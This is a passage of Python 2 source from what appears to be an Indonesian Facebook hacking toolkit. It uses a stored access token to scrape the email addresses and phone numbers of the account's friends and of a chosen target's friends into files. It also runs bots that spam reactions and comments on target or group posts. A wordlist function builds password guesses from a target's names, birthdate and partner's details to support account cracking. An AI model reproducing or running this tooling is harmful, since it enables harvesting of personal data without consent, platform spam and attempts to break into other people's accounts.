\x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except KeyError: os.remove(simg) print '\x1b[1;91m[!] Grup tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def email(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' mails = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) a = json.loads(r.text) mpsh = open(mails, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for i in a['data']: x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket) z = json.loads(x.text) try: em.append(z['email']) mpsh.write(z['email'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + z['name'] print '\x1b[1;92mEmail\x1b[1;91m : \x1b[1;97m' + z['email'] print 40 * '\x1b[1;97m\xe2\x95\x90' except KeyError: pass print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Email\x1b[1;96m%s' % len(em) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + mails mpsh.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except KeyError: os.remove(mails) print '\x1b[1;91m[!] Kesalahan terjadi' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def emailfrom_teman(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idt = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID Teman \x1b[1;91m: \x1b[1;97m') try: jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) op = json.loads(jok.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name'] except KeyError: print '\x1b[1;91m[!] Belum berteman' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() mails = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket) a = json.loads(r.text) mpsh = open(mails, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for i in a['data']: x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket) z = json.loads(x.text) try: emfromteman.append(z['email']) mpsh.write(z['email'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + z['name'] print '\x1b[1;92mEmail\x1b[1;91m : \x1b[1;97m' + z['email'] print 40 * '\x1b[1;97m\xe2\x95\x90' except KeyError: pass print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Email\x1b[1;96m%s' % len(emfromteman) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + mails mpsh.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def nomor_hp(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' noms = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') url = 'https://graph.facebook.com/me/friends?access_token=' + toket r = requests.get(url) z = json.loads(r.text) no = open(noms, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for n in z['data']: x = requests.get('https://graph.facebook.com/' + n['id'] + '?access_token=' + toket) z = json.loads(x.text) try: hp.append(z['mobile_phone']) no.write(z['mobile_phone'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + z['name'] print '\x1b[1;92mNomor\x1b[1;91m : \x1b[1;97m' + z['mobile_phone'] print 40 * '\x1b[1;97m\xe2\x95\x90' except KeyError: pass print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Nomor\x1b[1;96m%s' % len(hp) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + noms no.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except KeyError: os.remove(noms) print '\x1b[1;91m[!] Kesalahan terjadi' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def hpfrom_teman(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idt = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID Teman \x1b[1;91m: \x1b[1;97m') try: jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) op = json.loads(jok.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name'] except KeyError: print '\x1b[1;91m[!] Belum berteman' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() noms = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket) a = json.loads(r.text) no = open(noms, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for i in a['data']: x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket) z = json.loads(x.text) try: hpfromteman.append(z['mobile_phone']) no.write(z['mobile_phone'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + z['name'] print '\x1b[1;92mNomor\x1b[1;91m : \x1b[1;97m' + z['mobile_phone'] print 40 * '\x1b[1;97m\xe2\x95\x90' except KeyError: pass print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Nomor\x1b[1;96m%s' % len(hpfromteman) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + noms no.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def menu_bot(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Bot Reactions Target Post' print '\x1b[1;37;40m2. Bot Reactions Grup Post' print '\x1b[1;37;40m3. Bot Komen Target Post' print '\x1b[1;37;40m4. Bot Komen Grup Post' print '\x1b[1;37;40m5. Mass delete Post' print '\x1b[1;37;40m6. Terima permintaan pertemanan' print '\x1b[1;37;40m7. Hapus pertemanan' print '\x1b[1;31;40m0. Kembali' print bot_pilih() def bot_pilih(): bots = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if bots == '': print '\x1b[1;91m[!] Jangan kosong' bot_pilih() else: if bots == '1': menu_react() else: if bots == '2': grup_react() else: if bots == '3': bot_komen() else: if bots == '4': grup_komen() else: if bots == '5': deletepost() else: if bots == '6': accept() else: if bots == '7': unfriend() else: if bots == '0': menu() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + bots + ' \x1b[1;91mTidak ada' bot_pilih() def menu_react(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. \x1b[1;97mLike' print '\x1b[1;37;40m2. \x1b[1;97mLove' print '\x1b[1;37;40m3. \x1b[1;97mWow' print '\x1b[1;37;40m4. \x1b[1;97mHaha' print '\x1b[1;37;40m5. \x1b[1;97mSedih' print '\x1b[1;37;40m6. \x1b[1;97mMarah' print '\x1b[1;31;40m0. Kembali' print react_pilih() def react_pilih(): global tipe aksi = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if aksi == '': print '\x1b[1;91m[!] Jangan kosong' react_pilih() else: if aksi == '1': tipe = 'LIKE' react() else: if aksi == '2': tipe = 'LOVE' react() else: if aksi == '3': tipe = 'WOW' react() else: if aksi == '4': tipe = 'HAHA' react() else: if aksi == '5': tipe = 'SAD' react() else: if aksi == '6': tipe = 'ANGRY' react() else: if aksi == '0': menu_bot() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + aksi + ' \x1b[1;91mTidak ada' react_pilih() def react(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') try: oh = requests.get('https://graph.facebook.com/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) ah = json.loads(oh.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for a in ah['feed']['data']: y = a['id'] reaksi.append(y) requests.post('https://graph.facebook.com/' + y + '/reactions?type=' + tipe + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + y[:10].replace('\n', ' ') + '... \x1b[1;92m] \x1b[1;97m' + tipe print print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(reaksi)) raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() except KeyError: print '\x1b[1;91m[!] ID Tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def grup_react(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. \x1b[1;97mLike' print '\x1b[1;37;40m2. \x1b[1;97mLove' print '\x1b[1;37;40m3. \x1b[1;97mWow' print '\x1b[1;37;40m4. \x1b[1;97mHaha' print '\x1b[1;37;40m5. \x1b[1;97mSedih' print '\x1b[1;37;40m6. \x1b[1;97mMarah' print '\x1b[1;31;40m0. Kembali' print reactg_pilih() def reactg_pilih(): global tipe aksi = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if aksi == '': print '\x1b[1;91m[!] Jangan kosong' reactg_pilih() else: if aksi == '1': tipe = 'LIKE' reactg() else: if aksi == '2': tipe = 'LOVE' reactg() else: if aksi == '3': tipe = 'WOW' reactg() else: if aksi == '4': tipe = 'HAHA' reactg() else: if aksi == '5': tipe = 'SAD' reactg() else: if aksi == '6': tipe = 'ANGRY' reactg() else: if aksi == '0': menu_bot() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + aksi + ' \x1b[1;91mTidak ada' reactg_pilih() def reactg(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Grup \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') ah = requests.get('https://graph.facebook.com/group/?id=' + ide + '&access_token=' + toket) asw = json.loads(ah.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] try: oh = requests.get('https://graph.facebook.com/v3.0/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) ah = json.loads(oh.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for a in ah['feed']['data']: y = a['id'] reaksigrup.append(y) requests.post('https://graph.facebook.com/' + y + '/reactions?type=' + tipe + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + y[:10].replace('\n', ' ') + '... \x1b[1;92m] \x1b[1;97m' + tipe print print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(reaksigrup)) raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() except KeyError: print '\x1b[1;91m[!] ID Tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def bot_komen(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print "\x1b[1;91m[!] \x1b[1;92mGunakan \x1b[1;97m'<>' \x1b[1;92mUntuk Baris Baru" ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ') km = raw_input('\x1b[1;91m[+] \x1b[1;92mKomentar \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') km = km.replace('<>', '\n') try: p = requests.get('https://graph.facebook.com/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) a = json.loads(p.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for s in a['feed']['data']: f = s['id'] komen.append(f) requests.post('https://graph.facebook.com/' + f + '/comments?message=' + km + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + km[:10].replace('\n', ' ') + '... \x1b[1;92m]' print print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(komen)) raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() except KeyError: print '\x1b[1;91m[!] ID Tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def grup_komen(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print "\x1b[1;91m[!] \x1b[1;92mGunakan \x1b[1;97m'<>' \x1b[1;92mUntuk Baris Baru" ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Grup \x1b[1;91m:\x1b[1;97m ') km = raw_input('\x1b[1;91m[+] \x1b[1;92mKomentar \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') km = km.replace('<>', '\n') try: ah = requests.get('https://graph.facebook.com/group/?id=' + ide + '&access_token=' + toket) asw = json.loads(ah.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] p = requests.get('https://graph.facebook.com/v3.0/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) a = json.loads(p.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for s in a['feed']['data']: f = s['id'] komengrup.append(f) requests.post('https://graph.facebook.com/' + f + '/comments?message=' + km + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + km[:10].replace('\n', ' ') + '... \x1b[1;92m]' print print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(komengrup)) raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() except KeyError: print '\x1b[1;91m[!] ID Tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def deletepost(): os.system('reset') try: toket = open('login.txt', 'r').read() nam = requests.get('https://graph.facebook.com/me?access_token=' + toket) lol = json.loads(nam.text) nama = lol['name'] except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[+] \x1b[1;92mFrom \x1b[1;91m: \x1b[1;97m%s' % nama jalan('\x1b[1;91m[+] \x1b[1;92mMulai menghapus postingan unfaedah\x1b[1;97m ...') print 40 * '\x1b[1;97m\xe2\x95\x90' asu = requests.get('https://graph.facebook.com/me/feed?access_token=' + toket) asus = json.loads(asu.text) for p in asus['data']: id = p['id'] piro = 0 url = requests.get('https://graph.facebook.com/' + id + '?method=delete&access_token=' + toket) ok = json.loads(url.text) try: error = ok['error']['message'] print '\x1b[1;91m[\x1b[1;97m' + id[:10].replace('\n', ' ') + '...' + '\x1b[1;91m] \x1b[1;95mGagal' except TypeError: print '\x1b[1;92m[\x1b[1;97m' + id[:10].replace('\n', ' ') + '...' + '\x1b[1;92m] \x1b[1;96mTerhapus' piro += 1 except requests.exceptions.ConnectionError: print '\x1b[1;91m[!] Koneksi Error' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def accept(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') r = requests.get('https://graph.facebook.com/me/friendrequests?limit=' + limit + '&access_token=' + toket) teman = json.loads(r.text) if '[]' in str(teman['data']): print '\x1b[1;91m[!] Tidak ada permintaan pertemanan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for i in teman['data']: gas = requests.post('https://graph.facebook.com/me/friends/' + i['from']['id'] + '?access_token=' + toket) a = json.loads(gas.text) if 'error' in str(a): print '\x1b[1;91m[+] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + i['from']['name'] print '\x1b[1;91m[+] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + i['from']['id'] + '\x1b[1;91m Gagal' print 40 * '\x1b[1;97m\xe2\x95\x90' else: print '\x1b[1;91m[+] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + i['from']['name'] print '\x1b[1;91m[+] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + i['from']['id'] + '\x1b[1;92m Berhasil' print 40 * '\x1b[1;97m\xe2\x95\x90' print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def unfriend(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;97mStop \x1b[1;91mCTRL+C' print try: pek = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) cok = json.loads(pek.text) for i in cok['data']: nama = i['name'] id = i['id'] requests.delete('https://graph.facebook.com/me/friends?uid=' + id + '&access_token=' + toket) print '\x1b[1;97m[\x1b[1;92mTerhapus\x1b[1;97m] ' + nama + ' => ' + id except IndexError: pass except KeyboardInterrupt: print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def lain(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Buat postingan' print '\x1b[1;37;40m2. Buat Wordlist' print '\x1b[1;37;40m3. Akun Checker' print '\x1b[1;37;40m4. Lihat daftar grup' print '\x1b[1;37;40m5. Profile Guard' print print '\x1b[1;97m ->Coming soon<-' print print '\x1b[1;31;40m0. Kembali' print pilih_lain() def pilih_lain(): other = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if other == '': print '\x1b[1;91m[!] Jangan kosong' pilih_lain() else: if other == '1': status() else: if other == '2': wordlist() else: if other == '3': check_akun() else: if other == '4': grupsaya() else: if other == '5': guard() else: if other == '0': menu() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + other + ' \x1b[1;91mTidak ada' pilih_lain() def status(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' msg = raw_input('\x1b[1;91m[+] \x1b[1;92mKetik status \x1b[1;91m:\x1b[1;97m ') if msg == '': print '\x1b[1;91m[!] Jangan kosong' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() else: res = requests.get('https://graph.facebook.com/me/feed?method=POST&message=' + msg + '&access_token=' + toket) op = json.loads(res.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[+] \x1b[1;92mStatus ID\x1b[1;91m : \x1b[1;97m' + op['id'] raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() def wordlist(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[?] \x1b[1;92mIsi data lengkap target dibawah' print 40 * '\x1b[1;97m\xe2\x95\x90' a = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Depan \x1b[1;97m: ') file = open(a + '.txt', 'w') b = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Tengah \x1b[1;97m: ') c = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Belakang \x1b[1;97m: ') d = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Panggilan \x1b[1;97m: ') e = raw_input('\x1b[1;91m[+] \x1b[1;92mTanggal Lahir >\x1b[1;96mex: |DDMMYY| \x1b[1;97m: ') f = e[0:2] g = e[2:4] h = e[4:] print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[?] \x1b[1;93mKalo Jomblo SKIP aja :v' i = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Pacar \x1b[1;97m: ') j = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Panggilan Pacar \x1b[1;97m: ') k = raw_input('\x1b[1;91m[+] \x1b[1;92mTanggal Lahir Pacar >\x1b[1;96mex: |DDMMYY| \x1b[1;97m: ') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') l = k[0:2] m = k[2:4] n = k[4:] file.write('%s%s\n%s%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s%s\n%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s' % (a, c, a, b, b, a, b, c, c, a, c, b, a, a, b, b, c, c, a, d, b, d, c, d, d, d, d, a, d, b, d, c, a, e, a, f, a, g, a, h, b, e, b, f, b, g, b, h, c, e, c, f, c, g, c, h, d, e, d, f, d, g, d, h, e, a, f, a, g, a, h, a, e, b, f, b, g, b, h, b, e, c, f, c, g, c, h, c, e, d, f, d, g, d, h, d, d, d, a, f, g, a, g, h, f, g, f, h, f, f, g, f, g, h, g, g, h, f, h, g, h, h, h, g, f, a, g, h, b, f, g, b, g, h, c, f, g, c, g, h, d, f, g, d, g, h, a, i, a, j, a, k, i, e, i, j, i, k, b, i, b, j, b, k, c, i, c, j, c, k, e, k, j, a, j, b, j, c, j, d, j, j, k, a, k, b, k, c, k, d, k, k, i, l, i, m, i, n, j, l, j, m, j, n, j, k)) wg = 0 while wg < 100: wg = wg + 1 file.write(a + str(wg) + '\n') en = 0 while en < 100: en = en + 1 file.write(i + str(en) + '\n') word = 0 while word < 100: word = word + 1 file.write(d + str(word) + '\n') gen = 0 while gen < 100: gen = gen + 1 file.write(j + str(gen) + '\n') file.close() time.sleep(1.5) print '\n\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m: \x1b[1;97m %s.txt' % a raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() except IOError as e: print '\x1b[1;91m[!] Gagal membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() def 